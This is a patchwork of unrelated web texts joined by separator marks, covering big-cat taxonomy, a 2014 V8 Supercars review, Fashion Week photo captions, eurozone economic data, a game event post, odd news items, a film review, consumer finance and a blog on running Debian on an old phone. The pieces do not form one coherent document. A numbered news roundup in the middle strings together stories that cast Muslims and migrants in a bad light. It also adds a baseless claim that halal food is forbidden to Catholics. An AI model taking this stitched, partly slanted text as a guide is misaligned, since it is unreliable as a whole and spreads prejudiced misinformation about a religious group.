In pantherine cats, the suspensorium of the hyoid is imperfectly ossified. Its inferior portion consists of an elastic tendon, which confers great mobility upon the larynx.[2] Due to this tendon, pantherine cats can distend the back of the mouth greatly. The structure of the hyoid allows them to roar.[3] The rhinarium is flat and, at most, only barely reaches the dorsal side of the nose. The area between the nostrils is narrow and not extended sidewards as in the Felinae.[4]
Taxonomy [ edit ]
Pocock originally defined this subfamily as comprising the genera Panthera and Uncia (now included within Panthera).[2] Later authorities have included Neofelis within the Pantherinae.[1]
Pantherine species include:[1]
Evolution [ edit ]
The divergence of Pantherinae from Felinae has been estimated to have occurred between six and ten million years ago.[8] DNA analysis suggests that the snow leopard Uncia uncia is basal to the entire Pantherinae and should be renamed Panthera uncia. There is also evidence of distinct markers for the mitochondrial genome for Felidae.[5][9]
Results of a DNA-based study inidicate that Panthera tigris branched off first, followed by P. onca, P. leo, then P. pardus and P. uncia.[10]
Felis pamiri, formerly referred to as Metailurus, is now considered a probable relative of extant Pantherinae.[11]
See also [ edit ] |
In the first of a two-part end of season review we look back at all the stats that made up the 2014 V8 Supercars Championship and break down each drivers’ performance over another epic year.
Jamie Whincup proved once again he’s the man to beat asserting his authority on this year’s Championship and clinching a record-breaking sixth title, so it’s little surprise to see him top most of the tables. However, the Red Bull Racing Australia star didn’t have it all his own way…
Qualifying
Head to Head Qualification Numbers
Red Bull Racing Australia Whincup 25 Lowndes 13 Brad Jones Racing Bright 13 Coulthard 25 Wood 0 Ford Performance Racing Winterbottom 22 Mostert 6 Reynolds 10 Perkins 0 Walkinshaw Racing Tander 12 Courtney 15 Percat 6 Slade 5 Wilson Security Racing Pye 28 Wall 10 Nissan Motorsport R. Kelly 9 T.Kelly 8 Moffat 10 Caruso 11 Erebus Motorsport V8 Holdsworth 16 Davison 22 Valvoline Racing GRM McLaughlin 38 Dahlgren 0
The head to head comparisons always make for interesting reading. The obvious number that sticks out here is Scott McLaughlin’s complete domination over team-mate Robert Dahlgren. While it is no real surprise, given the Swede has not raced at any of the Australian circuits before, he has had to learn the hard way that this is one of the very toughest championships in the world, up against one of the sport’s most naturally gifted talents and the (equal) best qualifier of the season. Two other stats that stand out are FPR customer driver David Reynolds outscoring Chaz Mostert, and the two Norton Hornet Altimas in the hands of Michael Caruso and James Moffat beating team bosses Rick and Todd Kelly at Nissan Motorsport. If we break down the three four-car teams qualifying stats further, FPR’s Mark Winterbottom beat Ford Pepsi Max Crew team-mate 26 to 12, HRT’s James Courtney beat team-mate Garth Tander 21 to 17, while at Nissan Motorsport Rick Kelly got the better of older brother Todd 22 to 16 at Jack Daniel’s Racing and Michael Caruso beat Norton Hornets team-mate James Moffat 23 to 15.
Tying on 10 pole-positions each this year’s Armor All pole award went to Jamie Whincup and Scott McLaughlin. However, the trophy went to the newly crowned champion after a second place count-back. While the 31-year-old also surpassed Peter Brock’s record for most pole positions in V8 Supercar-Australian touring car championship history taking his tally to 60, McLaughlin’s ten poles, the last coming ahead of the final race of the season were an unprecedented achievement, having never previously qualified a V8 Supercar on pole position in the main game or Dunlop Series.
Though Jamie Whincup won the pole award trophy for this year, it was young gun Scott McLaughlin that had the best average starting position of the year, over a place better than the six-time champion. Despite Ford Performance Racing’s season-long lack of qualifying pace, Mark Winterbottom’s consistency throughout the sessions puts him as the third best average starter, the highest of anyone that didn’t claim pole. Michael Caruso was the best of the Nissan’s in 15th while Lee Holdsworth was the best Erebus, coming home as the 16th best starter on average.
Races
Over the course of the 38 Championship races there were 11 different winners following on from the 13 that won in 2013.
One of only three drivers to finish all 38 races this year Jamie Whincup dominated the win ratio. After a shaky start to the season he went on to pick up 14 wins (one short of his personal record of 15 in his first title year of 2008) almost three times that of second placed Shane van Gisbergen.
Again it’s Whincup topping the podium stats, six clear of team-mate Craig Lowndes and eight clear of Shane van Gisbergen. It’s worth pointing out Whincup also punched out 29 top five finishes and 34 top 10 finishes. It’s this consistency that saw him win his fourth straight championship, joining Ian Geoghegan in the record books as the only two men to achieve this feat, and cemented his place as the most successful driver in Australian touring car history.
The stats show that no matter how you look at it, Jaime Whincup was the best finisher of the year. His average finishing position of 4.8 was nearly 3 positions higher than championship rival Mark Winterbottom. Interestingly, Shane Van Gisbergen had a lower average finishing position than Winterbottom, despite beating the Ford man to 2nd in the championship and having a 25 point penalty. Scott McLaughlin was again the best of the non-Australian manufacturers with Will Davison being the best of the Erebus duo and Michael Caruso again being the best Nissan driver.
2014 proved to be an exciting season with five manufacturers on the grid. Jamie Whincup breezed to his sixth championship in seven years, Shane van Gisbergen proved to be the best privateer since the days of Glenn Seton, and Mark Winterbottom was left to ponder on what could have been. It was also a year of firsts with Erebus’ first V8 Supercars win, Volvo’s first time on the top step of the podium since 1986 and, after over 20 years, Paul Morris’s first victory at Bathurst. If last season is anything to go by, 2015 should be a cracker of a year with the rise of Scott McLaughlin and Chaz Mostert as well as the return of Marcos Ambrose.
Part two of our 2014 V8 Supercars season in numbers review, which breaks down teams’ performances will be on the site soon. If you’re not doing so already follow us on one of our social media channels and we’ll let you know when it’s up on the site. |
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Stephen Toner, editor of Exit magazine, waits in New York's Garment district ahead of the Calvin Klein show at Mercedes-Benz Fashion Week on Thursday, February 14. Hide Caption 1 of 84
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – People arrive for the Ralph Lauren show on February 14. Hide Caption 2 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – A security guard rests at the bottom of the stairs at the Nanette Lepore show during New York Fashion Week on Wednesday, February 13. Photographer Zoran Milich has been capturing the scene at Fashion Week for CNN as designers showcase their fall and winter 2013 collections through February 14. Hide Caption 6 of 84
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – A model gets a touchup before hitting the runway on February 13. Hide Caption 7 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – The Dennis Basso show featured fur-heavy designs on February 12. Hide Caption 18 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Comedian Daniella Pineda walks outside the Lincoln Center during New York Fashion Week on Monday, February 11. Hide Caption 20 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Outfits are fixed at the last minute backstage on February 10. Hide Caption 32 of 84
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Lights illuminate the seats where hundreds of magazine writers and editors will watch the Custo Barcelona show on February 10. Hide Caption 33 of 84
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Photographers cram together to shoot the runway on February 10. Hide Caption 34 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Fans take pictures outside of the Details men's show on February 10 at the Public Library in Manhattan. Hide Caption 37 of 84
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Backstage assistants wait with their irons before the Tracy Reese show on February 10. Hide Caption 38 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – A New York police officer watches fashion show replays late Saturday, February 9, while guarding the Lincoln Center. Hide Caption 41 of 84
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Visitors walk around the "Box" at the Rafael Cennamo show on February 9. The "Box" is a presentation room where models stand still sporting a designer's fashions. Hide Caption 42 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – A fashionable iPad user checks e-mails on February 9. Hide Caption 45 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Barneys New York sells Mickey Mouse ears in collaboration with Disney at New York Fashion Week on Thursday, February 7. Hide Caption 63 of 84
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Members of the audience await the Tadashi Shoji show on February 7. Hide Caption 64 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Discarded model name tags pile up in the trash after the Tadashi Shoji show on February 7. Hide Caption 66 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – A new Mercedes-Benz is on display February 7. The luxury car company sponsors New York Fashion Week. Hide Caption 69 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Crowds watch a model walk the runway during Timo Weiland's show on February 7. Hide Caption 71 of 84
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Outfits line the racks backstage on Wednesday, February 6, at the BCBG Max Azria show. Hide Caption 72 of 84
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – French designer Max Azria gets his hair cut behind the scenes on February 6. Hide Caption 73 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – A woman wears a necklace made from New York MetroCards on February 6 at a show touting Russia's textile and apparel industry. Hide Caption 78 of 84
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Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Billed as the first all-vegan fashion label to present at New York Fashion Week, Vaute Couture held a solo show on Tuesday, February 5. A model checks his hair backstage. View more photos from the event. Hide Caption 82 of 84
Photos: Photos: Fashion Week in a flash Fashion Week in a flash – Rescue dogs presented at the Vaute Couture show on February 5 were available for adoption. Hide Caption 83 of 84 |
Myriad economic data released in the eurozone on Tuesday show that the 19-nation bloc's recovery is finally gaining traction on the back of the European Central Bank's (ECB's) massive monetary stimulus.
The EU's Eurostat statistics agency said growth in the eurozone expanded 0.5 percent in the fourth quarter of 2016 for a 1.7 percent rise for the full year, exceeding the US economy which gained 1.6 percent last year.
Faster growth came on a spike in consumer demand in France and Spain while Germany's export-driven economy remained on a solid course.
Growing inflation
Meanwhile, the eurozone inflation rate spiked to 1.8 percent in January, Eurostat also unveiled, a big leap from 1.1 percent a month earlier, and leaving it just shy of ECB's medium-term target of close to 2 percent.
It was the highest rate since February 2013 and came after data in the past two days showed rising prices in Germany, France and Spain.
But core inflation, which excludes volatile prices of energy and unprocessed food, came in only stable at 0.9 percent year-on-year - a slight damper on the hopes of the ECB, which is eager to stimulate growth inflation with ultra-lose monetary policy.
ECB president Mario Draghi has repeatedly stressed he looks past energy price fluctuations to see if underlying inflation picks up in "a convincing way" before he considers changing policy.
Eurozone jobs crisis eases
Moreover, Eurostat data also showed that the eurozone jobless rate fell to its lowest level since May 2009 in December, with big drops in Spain and Portugal, where unemployment has been rampant since the 2010 debt crisis.
Stronger economic growth helped bring down unemployment in the currency area to 9.6 percent in December 2016, substantially lower than at the height of the jobs crisis when the rate was 12.1 percent.
Youth unemployment, however, was still very high at the end of last year at 20.9 percent, though this was lower than the 21.8 percent posted a year earlier.
The fall in unemployment will add to a growing debate in the euro area about when the ECB should end its massive stimulus that saw it cut interest rates to zero and pump 80 billion euros ($86 billion) a month into financial markets through a controversial asset-buying program.
Watch video 03:22 Share Talk: The future of the Eurozone Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/2Tej0 Talk: The future of the Eurozone
Tapering debate
EU Economic Affairs Commissioner Pierre Moscovici cautioned that the new economic data still fell short of a full recovery. "The recovery is solid for the fifth year running... but it is still too weak to create all the jobs we need," Moscovici said.
Bert Colijn, senior economist at ING bank shares this view, but said that the ECB would look at the data with "a mix of joy and concern."
"It does show that the economy is moving in the right direction, but it will probably bring out the hawks early," he said, referring to powerful voices in Europe that want the stimulus to come to an end soon.
Germany, the EU's biggest economy, has long grumbled about ECB policy, objecting that the stimulus, along with low interest rates, hurts savers and encourages overspending governments to delay much needed belt-tightening.
But Mario Draghi appears set to remain steadfast in view of such demands as he is unlikely to even consider tapering the program before more positive economic signals later in the year.
Most analysts like IHS Markit economist Howard Archer agree. "The ECB has made it very clear that it wants to see sustained, decisive evidence that underling eurozone inflationary pressures are picking up. Consequently, we suspect that the ECB is not for changing tack any time soon," he said.
uhe/hch (Reuters, AFP, dpa) |
Delta Recruits are making their way through the various missions and part of that progress includes unlocking the Duty Officer system. As Delta Recruits reach this milestone, they’ll have the chance to use their Duty Officers to assist the galactic powers in preparing for their upcoming struggles.
For the second week of the Delta Recruit event, the contributing event is duty officer assignments. Every time a Delta Recruit completes a Duty Officer assignment, this will contribute to the meter. As the meter hits certain benchmarks, this will unlock progressively better rewards for the following week. Unlocking the initial reward will cause the following week to grant 25% more commendation points to everyone, not just Delta Recruits. Hitting the second benchmark improves this to 50% more commendation points, and hitting the third and final benchmark increases this to 75% more commendation points for everyone for the entire week!
The only way to unlock these rewards is to make new Delta Recruit characters, complete the tutorial, and complete Duty Officer assignments. Of course, Delta Recruits unlock bonus account-wide rewards, too, so playing a Delta Recruit is advantageous if you already have another character.
See you in game, recruit!
Jesse Heinig
Staff Game Designer
Star Trek Online
Discuss in the forums |
The Tararua wind farm, which is owned by electricity retailer TrustPower and located near Palmerston North, was broken into in the early hours of August 16.
The thieves braved 220,000 volt transformers and drained the coolant oil, causing the turbines to cease operating. It is estimated around 20,000 litres of cooling oil was lost from two transformers.
Taraua was the largest wind farm in the southern hemisphere when it was constructed in 1999. It consists of 103 V47 660KW and 31 V90 3MW turbines.
Speaking to NZPA, a TrustPower spokesman Graeme Purches ruled out the possibility the damage was caused by wind farm protestors.
Commenting on the unlikelihood he said protestors "generally have a skerrick of intelligence" and would have avoided the high voltage area of the development if they were seeking to cause damage.
Purches added: "Whoever did this, they must have been seriously seeking to raise the IQ of the whole nation.
"People don't go into switch yards. Switch yards are very dangerous places, there's high voltage, there's magnetic fields, everything. That sort of voltage travels long distances if you look like you are a likely conductor.
"Not only had they dug up copper cables, not knowing what they were doing, but they drained the oil from two transformers. We are talking 20,000 litres of cooling oil." |
Image copyright AFP/Getty Images Image caption A worker in Germany sandblasts a wall to remove paint
A Canadian man died from a possible fatal allergic reaction to walnut particles that were being used as an abrasive in sandblasting.
Justin Mathews fell ill this month while checking air quality at a fire station, where an industrial machine was removing lead paint from walls.
The 33-year-old went into anaphylactic shock after about 20 minutes on the work site in Edmonton, Alberta.
His family want better labelling of industrial products that contain nuts.
He was rushed to hospital on 2 October after having trouble breathing at the fire station. He was taken off the ventilator on 7 October.
Walnut shells and corn cob granules are increasingly being used as sandblasting abrasives because the previous main ingredient of silica sand was found to cause serious respiratory disease.
Mr Mathews was diagnosed with a nut allergy as a child.
His father, David Mathews, said his son had only been briefly hospitalised once in his life for his allergy.
He had managed to avoid any contact with nut products and so did not always carry an allergy pen, the father added.
He believes his son inhaled airborne walnut particles at the work site.
Mr Mathews Snr said there was no information on the sandblasting product packaging that warned of possible allergens.
"It could have been prevented, that is the sad thing," he told the BBC.
He said they want to be sure this does not happen to anyone else.
Alberta's Occupational Health and Safety Department is investigating the incident.
Food Allergy Canada includes sandblasting materials as one source of non-food tree nuts that people with those allergies should be aware of. |
1. London Hospital Canteen Only Serves Halal Meat
Visitors to the canteen of a major London hospital have been left with no choice but to eat halal food, a decision apparently taken despite the Muslim population of the local area being a small minority. Recent menu options at the Queen Elizabeth Hospital, Woolwich, South East London, have included ‘halal shepherd’s pie” and “halal jerk chicken legs. A spokesman for the National Health Service (NHS) hospital told Breitbart London that a private contractor was responsible for the restaurant, and as the food in the restaurant is freshly prepared on site it is halal so that it caters for all visitors, staff, and patients who visit the restaurant.
Many Catholics argue that halal foods is forbidden to them. So it is not really inclusive at all.
2. Swedish Journalist Shot in No-Go Zone
A former journalist who worked for the Swedish publicly funded broadcaster SVT has been shot in the Stockholm suburb of Tensta, known as one of the country’s most notorious no-go zones. The 29-year-old was shot just before 9 pm on Sunday evening in the heavily migrant populated suburb in the Swedish capital. He was found on the ground outside and quickly rushed to a hospital where it was discovered he had been shot in the leg but did not suffer from life-threatening injuries, Sveriges Radio reports. According to the broadcaster, the man was well known in the area and had worked on diversity and democracy projects. SVT editor Geronimo Åkerlund said that the victim had worked as a researcher for the broadcaster from 2016 up until the spring of 2017 in Rinkeby, another notorious no-go area.
3. Malaysia police ax beer festival due to security fears
An annual beer festival in Kuala Lumpur has been axed due to information that militants were planning to sabotage the event, police said Thursday. The Kuala Lumpur City Hall on Monday banned the "Better Beer Festival," scheduled for Oct. 6-7 in a shopping mall, without giving any reasons. It followed protests from an Islamist party that called it a vice festival that could lead to criminal acts, rape and free sex. The festival, which features craft beers from 43 breweries worldwide, has been held in Malaysia annually since 2012. The cancellation has angered many Malaysians, who slammed it as a sign of growing Islamization in the country.
4. Swiss indict three over alleged al-Qaida videos
Federal prosecutors in Switzerland on Thursday announced indictments of the leader of a prominent Swiss Islamic group and two other top members over alleged al-Qaida propaganda videos posted on YouTube. Contacted by phone in Bangladesh, one of the suspects rejected the case as "politically motivated." Attorney General Michael Lauber's office alleges the three members of the Islamic Central Council of Switzerland violated Swiss laws banning al-Qaida, Islamic State and associated radical groups. His office and federal police have opened about 60 cases linked to alleged "jihadi-motivated terrorism," mostly involving propaganda. The indictments target ICCS President Nicolas Blancho, the group's cultural production chief Naim Cherni, who is a German citizen, and spokesman Abdel Azziz Qaasim Illi, said Illi in a phone interview. Blancho and Illi are both Swiss citizens, he said. They all remain free.
5. Some gay Germans are moving towards Germany’s AfD party (which CNN refers to as “far right wing” repeatedly without saying why)
6. Pope Francis Welcomes Leader of Muslim World League to Vatican
Pope Francis met with the secretary general of the Muslim World League (MWL) in the Vatican Wednesday, a group that has been tied to Saudi financing of jihadist terrorism and the 9/11 attacks in 2001. Dr. Muhammad bin Abdul Karim Al-Issa, who served for several years as Saudi minister of justice in Riyadh and is now secretary general of the MWL, expressed the appreciation of the Muslim world for the pope’s “fair positions” regarding “the false claims that link extremism and violence to Islam,” as well as for his insistence that extremism is not distinctive of Islam but is found among followers of all religions. The Muslim World League is a Saudi Government-funded Islamic non-governmental organization, founded on May 18, 1962 in Mecca for the propagation of Islamic teachings. Despite the group’s official opposition to violence and terrorism and its pursuit of intercultural dialogue, it has been the subject of several ongoing counterterrorism investigations in the U.S. related to Hamas, al Qaeda and other terrorist groups.
7. Merkel embroiled in refugee scandal days before German election
A LEAKED internal German government report appears to condemn Chancellor Angel Merkel for opening the country's borders to refugees without first gaining parliamentary approval. The admonishment comes two days before she seeks a fourth term in power in Sunday's general election - with 20 percent of voters still undecided who they will support. The report by the Bundestag Scientific Office - a team of non party political legal experts - stated it is the role of the Bundestag to decide on all ‘matters of essential relevance to the state’. Experts said the opaque diplomatic language used in it signals parliament should have had the final say on the matter "as the decision led to a change in the proportion of non-Germans to Germans in the country’”.
8. Syrian refugee jailed for setting wife on fire
An Estonian court has sentenced a Syrian refugee guilty to 10 years in prison for setting his wife on fire. The Baltic News Agency says a court in Tallinn ruled Friday that the 20-year-old Kovan Mohammad was guilty of grievous bodily harm when committing the crime on March 7. BNS, the region's largest news agency, said an unnamed 22-year-old Syrian woman sustained burns on 70 percent of her body in a fire in their apartment in the Estonian capital, in March.
9. Rotherham sex gang victim slams 'disgusting' decision not to charge senior council figures
ROTHERHAM child sex gang victim Sammy Woodhouse spoke out about her horrific experience again as she appeared on today’s Loose Women. Sammy - who previously discussed the scandal on Loose Women back in April - received a letter after her appearance on the show saying she’d been initially refused compensation because she had “consented” to the grooming and sexual abuse. […] More than 1,400 children were abused by gangs of Asian men in the South Yorkshire town over a 16-year period, with the authorities failing to act because they feared being branded “racist”. In response to the victims not getting compensation, the Government has confirmed the CICA is reviewing its guidelines after lawyers argued that a child giving consent was not legally possible…
10. Belgium: Suspect in Jewish Museum attack “too ill” to attend trial |
Norm Macdonald shared a few cheeky comments about fellow "Saturday Night Live" alum Seth Meyers with HuffPost Live on Tuesday during a conversation about his new gig as a judge on "Last Comic Standing."
The backstory: After Eddie Murphy's weird appearance at February's 40th anniversary bash for "SNL" -- in which he spoke for about one minute and told no jokes -- Macdonald revealed on Twitter that Murphy was invited to play Bill Cosby in a "Celebrity Jeopardy" sketch but ultimately declined because he was not comfortable with the gag amid rape allegations against Cosby. Later that month, Meyers said in an interview with Howard Stern that he "wouldn't have told" the story publicly because it's incumbent on "SNL" cast members to show discretion about "how much to give away" regarding what happens backstage.
So when Macdonald visited HuffPost Live on Tuesday, host Josh Zepps brought up the comments, which Macdonald had apparently not yet seen. Asked how he decides what to share in public, Macdonald gave a sardonic reply.
"I always think, 'What would Seth Meyers do?'" Macdonald said. "If you really want to be really funny, then that's what you want to do. You want to think, 'What would make Seth Meyers laugh?' That's how I live my life."
The comedian also shared a succinct review of Meyers' "Late Night" on NBC: "That's not something I would do."
Watch Norm Macdonald discuss Eddie Murphy and Seth Meyers in the video above, and click here for his full HuffPost Live conversation.
Sign up here for Live Today, HuffPost Live’s morning email that will let you know the newsmakers, celebrities and politicians joining us that day and give you the best clips from the day before.
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https://www.kickstarter.com/projects/cassiejaye/the-red-pill-a-documentary-film Image from kickstarter
The Red Pill is a documentary film directed by Cassie Jaye. The documentary delves deep into the Men's Right Movements and includes interviews from Men's Rights Activists (MRA), feminists and Cassie Jaye's own Video log. The documentary has gained much acclaim but at the same time it has been seen as controversial and has been shunned upon by several feminist groups. If anything, the documentary serves as an eye opener to men's issues and how the MRA's are wrongly judged as been a hate group.
The documentary starts with Cassie Jaye, a lifelong long feminist telling us about her miserable stint at Hollywood playing the 'blonde who always dies'. She narrates her contributions and participation in the feminist movement and her passion for film making. The Red Pill is a well constructed and well structured narrative which looks at various different perspectives of the Men's Rights Movement and the feminist movement.
The Red Pill shows the Jaye's journey from a skeptical feminist looking into the Men' Rights Movement to a feminist questioning her own ideas after discovering that the MRA's movement is much different than what the popular belief is. Jaye interviews Paul Elam, whose last name ironically is 'male' when spelled backwards. Elam is a controversial figure of the MRA's and the figure head of the modern men's right movement. He describes the 'red pill' as an reference taken from the movie 'The Matrix', where the protagonist Neo is given a choice between a blue pill and a red pill. The blue pill would give an easy but an oblivious life, the red pill however would expose the truth of the world we live in which is hard to live in.
Dr.Farrell's interview on CNBC
Among the most calm and sensible fellow interviewed by Jaye was Dr.Warren Farrell, the author of 'The Myth of Male Power'. Farrell describes the feminist movement in the 1960's as the most exciting thing he had ever seen. Farrell himself was part of such feminist campaigns being a cardholder still for the National Organization for Women. Farrell states that the society teaches men to be expendable and disposable. A very thought provoking statement by Farrell is presented in the movie which says 'I believe women cannot hear, what men do not say'. Ill leave the thought to you.
The movie exposes many of the problems faced by men and highlights how men are not seen as victims of these issues, but rather the ones who are the cause of such issues. The issues highlighted include male victims of domestic violence, suicide rate, males being raped, disparity in criminal sentencing, homelessness , discrimination in family court and child custody and many more. Jaye interviews feminist Katherine Spillar, who states that women should have all the rights after child birth in matters of custody as she has been the bearer of the child for 9 months, while men can exercise their right to use a condom! An outrageous statement that overlooks that men are also sometimes cheated into pregnancy, the documentary itself highlights a show where a women is cheered on to stop using her birth control to have another child, which her husband doesnt want. The all female crowd cheers in the light of 'men cant control our bodies,girl!'
The most impactful statements in the documentary were from MRA Karen Straughan, well known for her youtube videos on men's issues. She describes the news from Boko Haram in Nigeria, where armed attackers kidnapped girls. Straughan highlights that the news shows that the incident was due to a fundamentalist Islamic group wanting to deny girls education, however in reality they are not against just girls being educated but against anybody getting a western education. The initial attacks where 100s of men were killed were simply described as 'people' or 'villagers' and initially at the schools they separated the boys and girls and let the girls go, telling them to go home get married renounce your sins and live a righteous life under allah. Then they burned the boys alive. However this was barely reported on, no opinion pieces, nothing. The Islamic group realised they were not getting any attention from western media from slaughtering boys, so what did they do? they targeted girls. This lead to an outpour from every news channel to Barack and Michelle Obama reporting the outrageous act and the slogan of 'BRING BACK OUR GIRLS' became viral. Well, if we did something when the boys were being killed, the girls would be safe in their dorms.
Cassie Jaye found herself in the eye of an Australian media storm because of her controversial film, , she had begun questioning some of her feminist beliefs. There were cancelled screenings, angry protests and boycotts in the months before Jaye arrived, and combative interviews on The Project and Weekend Sunrise after she set down on the Gold Coast for an international conference on men's issues. Jaye was also subject to a smear campaign. The 'Weekend Sunrise' anchors outright started bashing and questioning the documentary. The movie was remarked to be misogynistic and anti women by the anchors, who hadn't even seen it.
Here's a clip of the interview :
The narrative is not against feminism but simply a way to highlight how men are neglected too. It may seem against feminism at certain points, but when you think deeply it is simply a call for recognition of what men face. The MRA's only criticise the 'man-hating' feminists, and you know they exist too. It is simply a call for a balanced view. The documentary does show men as victims too and might seem centred mostly around the MRA's, but thats what the motive was about for Jaye. To show the real side of the MRA's, which had been never shown before. So if you are open minded and willing to explore a different perspective than the popular belief, then pop The Red Pill.
The tralier for "The Red Pill" :The movie is available onAmazon : https://www.amazon.com/Red-Pill-Blu-ray-Documentary-Cast/dp/B01LTI0BKA iTunes : https://itunes.apple.com/us/movie/the-red-pill/id1195401070 Google Play : https://play.google.com/store/movies/details/The_Red_Pill?id=_mB13NV7rY0&hl=en |
Volkwagen's attempt to compensate vehicle owners who drive one of the models included in the company's emissions scandal is now official. The initial reports were indeed correct, as the company will offer $1,000 in gift cards and other incentives to VW customers. On top of a $500 dealership credit, the 482,000 diesel owners will also receive a $500 Visa gift card that can be used anywhere and free roadside assistance for three years. Audi customers who drive affected vehicles will be privy to the same "goodwill package," too. Owners will have to visit a special website to request the items by entering their car's VIN number and mileage alongside their name and address. Volkwagen says those customers should receive the package in a month. The company is already offering $2,000 in trade-in credit, and with today's announcement, the total compensation for owners of vehicles included in the on-going saga can be worth up to $3,000.
[Image credit: Getty Images] |
Like swapping a Lamborghini for a Ford Fiesta, some credit card users are switching to the safer, less expensive payment vehicle of prepaid cards as the economy continues to travel downhill.
They're known as general purpose reloaded cards, and they serve as budgeting tools for those looking to trim spending, and as mobile bank accounts for those just needing a card-based way to spend. The cards are convenient: They can be used at any merchant that accepts the Visa, Discover, American Express or MasterCard logo on the card, and they are growing in use: About $7.1 billion will be loaded on them in 2009, up from $2.1 billion in 2007, according to the Mercator Advisory Group, a research and advisory firm for the payment industry.
"Because of the economy, there is a shift with more consumers going from credit to debit and prepaid," Brent Watters, director of marketing for Mercator Advisory Group says. "People are reluctant to use credit, and it's pushing them to another payment vehicle."
Three companies, Green Dot Corporation, the NetSpend Corporation and nFinanSe Inc., are helping with that push by managing and distributing the prepaid cards to a large number of supermarkets, drug stores and check-cashing services. The companies also provide the software, hardware and customer support needed to control all the cards, according to a New York Times article.
It works like this: Say you are spending too much on dinner every week and you need a way to budget that money. Instead of allotting some cash in an envelope for dinner, you go to Walgreens, Dollar General, Albertsons or another retailer and pick out a prepaid card. You buy the card for about $6 and load whatever amount of money on it you'll need for a week of dinner. The company that distributed the card, whether it be nFinanSe Inc. or another, gets some of that $6, plus maintenance, reload and other fees, and you get a well balanced dinner.
"Even folks that already have a debit card are using a prepaid card to control spending or to budget," Watters says.
Other than consumers who need to plug their spending, folks without a bank account are also looking at prepaid cards because they don't include the credit checks and minimum account balances banks require. They're convenient for large purchases, too, which is nice for someone who can't get or doesn't want a credit card.
No one can seem to agree as to how many Americans are without a bank account, so the statistic varies greatly -- somewhere between 10 and 56 million. Determining that number is difficult because some researchers count users of prepaid cards as having a bank account, and some don't. And the diverse banking regulatory system, with some banks federally regulated and some regulated by states, makes it tricky to sum up how many accounts there are and how many there aren't.
Regardless what that number might be, it's certain the companies providing prepaid cards are growing. Green Dot started selling general purpose reloaded cards in 2001 to chains such as Kroger and Walgreens. Today, they are selling to the retail giant Wal-Mart and pulling in $350 million in annual revenue, according to their website. Austin, Texas-based Netspend has about $180 million in annual revenue and 300 employees. And nFinanSe, which was founded in 2000, now has 80,000 cards distributed through Dollar General and Winn-Dixie supermarkets.
So whether you're looking to reduce spending or just a new way to spend, be on the lookout for these payment vehicles to take off in the next couple years.
See related: 9 ways to budget with a prepaid card, The pros and cons of prepaid debit cards?, All about the Baby Phat Prepaid Visa card, 9 things you must know about prepaid cards |
I had been using my Samsung Galaxy S Relay 4G for almost three years when I decided to get a new phone. I would use this new phone for daily tasks and take the chance to get a new model for hacking in the future. My apexqtmo would still be my companion and would now be more available for real hacking.
And so it also happened that its power button got stuck. It was not the first time, but now it would happen every so often, and would require me to disassemble it. So I managed to remove the plastic button and leave it with a hole so I could press the button with a screwdriver or a paperclip. That was the excuse I needed to get it to running Debian only.
Though it's now always plugged on my laptop, I got the chance to hack on it on my scarce free time. As I managed to get a kernel I built myself running on it, I started fixing things like enabling devtmpfs. I didn't insist much on running systemd, though, and kept with System V. The Xorg issues were either on the server or the client, depending on which client I ran.
I decided to give a chance to running the Android userspace on a chroot, but gave up after some work to get some firmware loaded.
I managed to get the ALSA controls right after saving them inside a chroot on my CyanogenMod system. Then, restoring them on Debian allowed to play songs. Unfortunately, it seems I broke the audio jack when disassembling it. Otherwise, it would have been a great portable audio player. I even wrote a small program that would allow me to control mpd by swiping on the touchscreen.
Then, as Debian release approached, I decided to investigate the framebuffer issue closely. I ended finding out that it was really a bug in the driver, and after fixing it, the X server and client crashes were gone. It was beautiful to get some desktop environment running with the right colors, get a calculator started and really using the phone as a mobile device.
There are two lessons or findings here for me. The first one is that the current environments are really lacking. Even something like GPE can't work. The buttons are tiny, scrollbars are still the only way for scrolling, some of the time. No automatic virtual keyboards. So, there needs to be some investing in the existing environments, and maybe even the development of new environments for these kinds of devices. This was something I expected somehow, but it's still disappointing to know that we had so much of those developed in the past and now gone. I really miss Maemo. Running something like Qtopia would mean grabing a very old unmaintained software not available in Debian. There is still matchbox, but it's as subpar as the others I tested.
The second lesson is that building a userspace to run on old kernels will still hit the problem of broken drivers. In my particular case, unless I wrote code for using Ion instead of the framebuffer, I would have had that problem. Or it would require me to add code to xorg-xserver that is not appropriate. Or fix the kernel drivers of available kernel sourcecodes. But this does not scale much more than doing the right thing and adding upstream support for these devices.
So, I decided it was time I started working on upstream support for my device. I have it in progress and may send some upstream patches soon. I have USB and MMC/SDcard working fine. DRM is still a challenge, but thanks to Rob Clark, it's something I expect to get working soon, and after that, I would certainly celebrate. Maybe even consider starting the work on other devices a little sooner.
Trying to review my post on GNU on smartphones, here is where I would put some of the status of my device and some extra notes.
On Halium
I am really glad people started this project. This was one of the things I criticized: that though Ubuntu Phone and FirefoxOS built on Android userspace, they were not easily portable to many devices out there.
But as I am looking for a more pure GNU experience, let's call it that, Halium does not help much in that direction. But I'd like to see it flourish and allow people to use more OSes on more devices.
